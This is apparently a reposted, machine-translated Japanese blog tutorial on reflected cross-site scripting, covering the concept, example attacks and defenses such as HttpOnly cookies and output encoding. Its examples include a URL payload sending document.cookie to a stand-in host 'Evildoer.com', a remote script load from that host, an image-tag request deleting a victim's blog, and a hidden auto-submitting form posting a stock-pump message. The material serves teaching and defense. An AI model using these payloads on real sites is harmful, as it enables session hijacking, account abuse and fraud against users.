[ネットワーク攻撃と防御]「クロスサイトスクリプティング攻撃」最初の箇条書き-反映されたXSS


  • 謝永脚本の作品
  • 編集+王コングリ
  • 情報収集・・・謝永


1.XSSを知る

クロスサイトスクリプティング(XSS)は、Webフロントエンドコードインジェクションを使用してページを改ざんし、悪意のあるスクリプトを実行し、データを盗んでIDを偽装する目的を達成する攻撃方法です。ブラウザはHTMLコードに従ってページを解析します。現在のHTMLには多くのJavaScriptスクリプトが存在する可能性があります。XSS攻撃はフロントエンドコードの脆弱性を使用して悪意のあるコードを挿入します。

XSS攻撃者は、特定のJavaScript基盤を持っている必要があります。XSSを回避しないWebページでは、目に見えない要素を作成し、Cookieのハイジャックなどのリンクやフォームの送信をトリガーすることで、データが盗まれることがよくあります。一般的に、スクリプトを挿入するには、元のWebページコードのタグとスクリプトを接続する必要があります。これにより、挿入されたページコードは構文に準拠し、実行できます。

悪意のあるスクリプトの影響に応じて、XSSはリフレクションタイプストレージタイプに分類できます


2.リフレクティブXSS

Reflective XSSは、ユーザーが入力したコンテンツをブラウザーが実行するコードとして使用して攻撃の目的を達成します。通常、ユーザーは攻撃者が作成したURLにアクセスする必要があります。このタイプの攻撃はクライアントでのみ発生し、悪意のあるスクリプトパラメータを使用して特定のURLを入力する必要があるため、非永続タイプXSSとも呼ばれます。

リフレクティブXSSを使用するには、ページに動的に表示されるデータとしてパラメーター値をターゲットWebページで使用する必要があり、ターゲットWebページにはパラメーター値の有効なチェックがありません。このようにして、XSSペイロードをに挿入できます。パラメータを作成することによるURL(悪意のあるスクリプト)。ユーザーが知らないうちにURLをクリックして、XSSペイロードを実行できるようにします。リフレクティブXSSは1回限りですが、攻撃者が使用すると便利です。

ここに画像の説明を挿入

リフレクティブXSS攻撃の概略図

2.1Cookieのハイジャック

現在、ユーザー「XiaoGuo」を乗っ取ることにした攻撃者「XiaoHei」がいます。ページhttp://www.reflect_xss.com/test.htmlに反射型XSSの脆弱性があると仮定すると、XiaoHeiは次のURLをXiaoGuoに送信します。

http://www.reflect_xss.com/test.html?msg=<script>var+img=document.createElement(“img”);+img.src=”http://www.Evildoer.com/”%2bescape(document.cookie);+document.appendChild(img)</script>

Xiao Guoが無意識のうちにこのURLにアクセスすると、彼のCookie情報はXiao Heiが管理するhttp://www。Evildoer.comサイトに送信され、XiaoGuoのreflect_xssにアクセスするためのトークンはXiaoHeiによって学習されます。したがって、Xiaoheiはパスワードなしでこのトークンを使用して、偽のXiaoguoとしてこのWebサイトにアクセスできます。

Xiaoheiは、URLが長すぎると感じた場合、特定の実装スクリプトコードをhttp://www。Evildoer.comに配置し、URLを次のように変更できます。

http://www.reflect_xss.com/test.html?msg=<script+src=http://www.Evildoer.com/evil_script.js> </script>

このURLにアクセスすると、悪意のあるスクリプトhttp://www。Evildoer.com/evil_script.jsが読み込まれ、上記の方法と同じ効果が得られます。実際、Xiaoheiは、URLにスクリプトをURLエンコードして、悪意のある意図を目立たなくすることもできます。

2.2リクエストを取得する

取得/投稿はWebリクエストの2つの方法であり、ユーザーはこれら2つのタイプのリクエストを通じてデータを追加、削除、確認、および変更できます。ブログサイトwww.bloggg.comがあるとします。上記の各ブログにはblogIDがあります。ユーザーがボタンをクリックしてブログを削除すると、次のリクエストが送信されます。

http://www.bloggg.com/deleteBlog.do?blogID=123

つまり、ブログIDを知っているだけで、ログインしているユーザーはこのURLをリクエストすることでブログを削除できます。Xiao Guoは、このブログサイトのユーザーです。彼はブログを作成しました(blogID = 234567)。XiaoHeiは、このブログのblogIDを見つけ、次のXSSペイロードを使用しました。

var img = document.createElement(‘img’);
img.src = http://www.bloggg.com/deleteBlog.do?blogID=234567;
document.body.appendChild(img)

Xiao Guoが無意識のうちにスクリプトを実行したとき、彼のブログは削除されました。このコードは、最初に要素を作成し、次に要素のsrcを指定します。このURLは、ブログを削除するためのインターフェースです。ここでは要素のみが定義されており、実際にはリクエストは実行されていません。コードの3行目が実行された場合にのみ、それがWebページのDOMに追加され、このsrc属性にアクセスされ、ブログの削除要求が実行されます。

2.3POSTリクエスト

URLの末尾にパラメーターを付加することで、Getリクエストを渡すことができます。違いは、PostリクエストのデータがURLに表示されないため、重要なデータが簡単に漏洩することを回避できます。一般的に、フォームまたはXMLHttpRequestを介してPOSTリクエストを送信できます

Xiaoheiは、Xiaoguoのアカウントを使用して、フォロワーを欺くための投稿を投稿したいと考えています。この投稿には、気分とテキストの段落(m_text)が含まれています。そこでXiaoheiは、フォームをページに挿入するスクリプトを作成しました。

var evil_form = document.createElement(‘div’);
document.body.appendChild(evil_form);
evil_form.innerHTML =<form action=http://www.bloggg.com/share_mood.do name=”mood_form” id=”evil_form”>+<input type=”text” name=”mood” value=”happy”>+<input type=”text” name=”m_text” value=000000股票要飚了,买它!”>+
</form>’

document.getElementById(“evil_form”).submit();

このスクリプトは、フォームの自動送信を実装します。フォームに対してdisplay:hiddenを設定すると、フォームがページに表示されない場合があり、小さなポットはフォームをまったく検出できません。同じことがさまざまな埋め込みタグにも当てはまります。XMLHttpRequestオブジェクトを使用して、指定したインターフェースにデータを送信することもできます。


3.防御方法

Cookieのハイジャックの場合、最も簡単で効果的な方法は、機密性の高いCookieにHTTPOnly属性を設定することです。この属性が設定されたCookieアイテムは、スクリプトで読み取ることができません。これにより、機密性の高いCookieが乗っ取られるのを防ぎ、他のCookieをスクリプトで読み取って使用できるようにします。

インジェクションの脆弱性は、ユーザーが出力として制御し、検査や処理を行わずにコードとして実行できるデータに起因するため、このようなデータを確認する必要があります。HTMLタグとJavaScriptコードに関連する文字と語彙をエンコードして、元の形式で直接表示されないようにし、コードとして実行される可能性を減らします。

データはコードとして実行されるため、これらの脆弱性が悪用される可能性があります。コードを作成するときは、この2つを可能な限り分離する必要があります。入力データには、JavaScriptで引用符を使用し、JavaScriptEncodeを使用して文字をエンコードし、攻撃者が引用符を閉じるのを防ぎます。データを入力するために実行される操作の数を減らすと、XSS攻撃者は多くの攻撃の機会を失います。

「ストレージXSS」について知りたいですか?次の号にご期待ください...


ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/YiAnSociety/article/details/113336733